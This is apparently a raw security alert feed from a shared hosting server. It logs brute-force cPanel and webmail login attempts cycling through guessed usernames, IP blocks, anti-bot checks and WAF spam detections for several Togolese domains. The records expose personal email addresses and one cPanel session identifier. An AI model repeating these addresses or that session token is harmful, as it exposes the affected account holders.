name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-09 17:34:05 +0000] info [cpaneld] 103.65.237.227 - whmcsadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-09 17:34:17 +0000] info [cpaneld] 103.65.237.227 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.82.88.93
country_id: 2029969
description:
Jun  9 17:35:33 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.82.88.93 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.169
country_id: 1880251
description:
47.128.96.169 - - [09/Jun/2026:17:36:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10327707&pdata=https%253A%252F%252Ftdn.tg%252Feleve-14-ans-enceinte-2-filles%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026602 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/eleve-14-ans-enceinte-2-filles/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.169


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-09 17:37:03 +0000] info [cpaneld] 185.213.83.243 - ucaouut "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Collect Your Refined Reward eropolik.blogspot.ca kq||Email:sam_jepp@yahoo.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-37.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.159
country_id: 1880251
description:
47.128.96.159 - - [09/Jun/2026:17:38:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13265815&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Futilisation-des-eleves-pour-des-travaux-champetres-et-autres-corvees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026716 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/utilisation-des-eleves-pour-des-travaux-champetres-et-autres-corvees/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.159


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.156
country_id: 1880251
description:
47.128.96.156 - - [09/Jun/2026:17:39:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13342829&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemission-fecafoot%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026749 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demission-fecafoot/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.156


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.13
country_id: 1880251
description:
47.128.96.13 - - [09/Jun/2026:17:38:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6460526&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F6-soldats-tuees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026691 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/6-soldats-tuees/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.13


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.14
country_id: 1880251
description:
47.128.96.14 - - [09/Jun/2026:17:38:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134790&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fresultats-du-bac-i%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026698 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/resultats-du-bac-i/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.14


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.15
country_id: 1880251
description:
47.128.96.15 - - [09/Jun/2026:17:38:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105945&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026713 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.15


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.160
country_id: 1880251
description:
47.128.96.160 - - [09/Jun/2026:17:39:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6997906&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcierea-ptci%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026774 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cierea-ptci/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.160


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [09/Jun/2026:17:39:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13341552&pdata=http%253A%252F%252Fdgpu8l.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026780 HTTP/1.1" 404 561 dgpu8l.mediatopnews.tg "http://dgpu8l.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.106.77.94
country_id: 2017370
description:
[2026-06-09 17:40:10 +0000] info [cpaneld] 95.106.77.94 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.210.108.216
country_id: 3686110
description:
[2026-06-09 17:40:14 +0000] info [cpaneld] 38.210.108.216 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.187.144.191
country_id: 1562822
description:
[2026-06-09 17:40:20 +0000] info [cpaneld] 113.187.144.191 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.100.120.28
country_id: 2017370
description:
[2026-06-09 17:40:22 +0000] info [cpaneld] 93.100.120.28 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.208.139.91
country_id: 289688
description:
[2026-06-09 17:40:25 +0000] info [cpaneld] 37.208.139.91 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [09/Jun/2026:17:40:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974869&pdata=http%253A%252F%252Fdgpu8l.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026820 HTTP/1.1" 404 561 dgpu8l.mediatopnews.tg "http://dgpu8l.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.58.37.76
country_id: 1522867
description:
[2026-06-09 17:40:44 +0000] info [cpaneld] 95.58.37.76 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.231.230.117
country_id: 1210997
description:
[2026-06-09 17:40:36 +0000] info [cpaneld] 103.231.230.117 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.93.75.115
country_id: 3865483
description:
[2026-06-09 17:40:41 +0000] info [cpaneld] 181.93.75.115 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [09/Jun/2026:17:40:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6514845&pdata=http%253A%252F%252Fdgpu8l.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026812 HTTP/1.1" 302 0 dgpu8l.mediatopnews.tg "http://dgpu8l.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.0
country_id: 6252001
description:
205.169.39.0 - - [09/Jun/2026:17:41:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13341552%26pdata=http://dgpu8l.mediatopnews.tg%26id=7fa3b767c460b54a2be4d49030b349c7%26ts=1781026780 HTTP/1.1" 404 561 dgpu8l.mediatopnews.tg "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.154
country_id: 1880251
description:
47.128.96.154 - - [09/Jun/2026:17:42:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7300806&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcierea-ptci%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026923 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cierea-ptci/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.154


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.138.69.94
country_id: 3077311
description:
Jun  9 17:42:12 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.138.69.94 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.237.102.134
country_id: 3017382
description:
[2026-06-09 17:42:33 +0000] info [cpaneld] 185.237.102.134 - conforwellty "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.172
country_id: 1880251
description:
47.128.96.172 - - [09/Jun/2026:17:43:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050095&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpresident-de-la-commission-de-lutte-contre-la-corruption-au-nigeria%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026988 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/president-de-la-commission-de-lutte-contre-la-corruption-au-nigeria/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.172


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.156
country_id: 1880251
description:
47.128.96.156 - - [09/Jun/2026:17:43:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9607838&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F3e-mandat-au-niger%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027021 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/3e-mandat-au-niger/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.156


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 185.237.102.134
country_id: 3017382
description:
[2026-06-09 17:44:02 +0000] info [cpaneld] 185.237.102.134 NEW conforwellty:9rUa_NYu5kdFSsdK address=185.237.102.134,app=cpaneld,creator=conforwellty,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.195
country_id: 1880251
description:
47.128.96.195 - - [09/Jun/2026:17:44:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10209690&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fexamens-du-baccalaureat-deuxieme-partie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027052 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/examens-du-baccalaureat-deuxieme-partie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.195


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.20
country_id: 1880251
description:
47.128.96.20 - - [09/Jun/2026:17:44:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658454&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsociete-specialisee-dans-le-financement-du-secteur-agricole%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027059 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/societe-specialisee-dans-le-financement-du-secteur-agricole/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.20


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.148
country_id: 1880251
description:
47.128.96.148 - - [09/Jun/2026:17:45:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13069415&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fhausse-du-prix-du-ciment-cimtogo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027156 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/hausse-du-prix-du-ciment-cimtogo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.148


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.192
country_id: 1880251
description:
47.128.96.192 - - [09/Jun/2026:17:47:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7368805&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcamion-dangote%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027219 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/camion-dangote/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.192


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.124
country_id: 1880251
description:
47.128.96.124 - - [09/Jun/2026:17:46:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328472&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-dun-maire-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027174 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-dun-maire-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.124


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.187.228.3
country_id: 6252001
description:
2026-06-09 17:46:22 dovecot_login authenticator failed for H=(ffkc.com) [75.187.228.3]:35125: 535 Incorrect authentication data (set_id=eamau@cafe.tg)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 104.232.222.55
country_id: 2802361
domain: belali.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 BytedanceWebview/d8a21c6 musical_ly_31.7.0 JsSdk/2.0 NetType/WIFI Channel/App Store ByteLocale/en Region/KZ FalconTag/A494F146-0F95-46D0-A668-10F0C0AB2CD6 TTP_H5_URLPROTOCOL||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.199
country_id: 1880251
description:
47.128.96.199 - - [09/Jun/2026:17:47:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12885098&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-dun-maire-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027251 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-dun-maire-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.199


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.205.144
country_id: 2363686
description:
[2026-06-09 17:47:43 +0000] info [webmaild] 196.168.205.144 - dr.issifou@tchambainvest.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.205.144
country_id: 2363686
description:
[2026-06-09 17:48:19 +0000] info [webmaild] 196.168.205.144 - dr.issifou@tchambainvest.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.128
country_id: 1880251
description:
47.128.96.128 - - [09/Jun/2026:17:48:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7235949&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpato-kpatcha%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027303 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/pato-kpatcha/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.128


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.154
country_id: 1880251
description:
47.128.96.154 - - [09/Jun/2026:17:48:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776728&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fattaque-terroriste-de-kafolo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027315 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/attaque-terroriste-de-kafolo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.154


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.163
country_id: 1880251
description:
47.128.96.163 - - [09/Jun/2026:17:48:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989015&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fwinds-impact-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027334 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/winds-impact-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.163


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.132
country_id: 1880251
description:
47.128.96.132 - - [09/Jun/2026:17:50:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7433366&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fhausse-du-prix-du-ciment-cimtogo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027400 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/hausse-du-prix-du-ciment-cimtogo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.132


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.135
country_id: 1880251
description:
47.128.96.135 - - [09/Jun/2026:17:50:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052909&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fattaque-terroriste-de-kafolo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027419 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/attaque-terroriste-de-kafolo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.135


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.82.88.93
country_id: 2029969
description:
Jun  9 17:50:52 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.82.88.93 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.16
country_id: 1880251
description:
47.128.96.16 - - [09/Jun/2026:17:50:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6473573&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmiss-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781027413 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/miss-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.16


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.14.223.102
country_id: 2464461
description:
[2026-06-09 17:52:07 +0000] info [cpaneld] 197.14.223.102 - tchamb "GET /login/?login_only=1&user=tchamb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.254.171.57
country_id: 3469034
description:
[2026-06-09 17:51:30 +0000] info [cpaneld] 152.254.171.57 - tchambainvest "GET /login/?login_only=1&user=tchambainvest&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvest (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.55.243.106
country_id: 1210997
description:
[2026-06-09 17:51:40 +0000] info [cpaneld] 103.55.243.106 - tchambainves "GET /login/?login_only=1&user=tchambainves&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainves (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.229.104.123
country_id: 1562822
description:
[2026-06-09 17:51:52 +0000] info [cpaneld] 171.229.104.123 - tchambainv "GET /login/?login_only=1&user=tchambainv&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainv (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.104.179.250
country_id: 1512440
description:
[2026-06-09 17:51:59 +0000] info [cpaneld] 193.104.179.250 - tchambai "GET /login/?login_only=1&user=tchambai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.164.33.206
country_id: 1733045
description:
[2026-06-09 17:51:25 +0000] info [cpaneld] 115.164.33.206 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.122
country_id: 1880251
description:
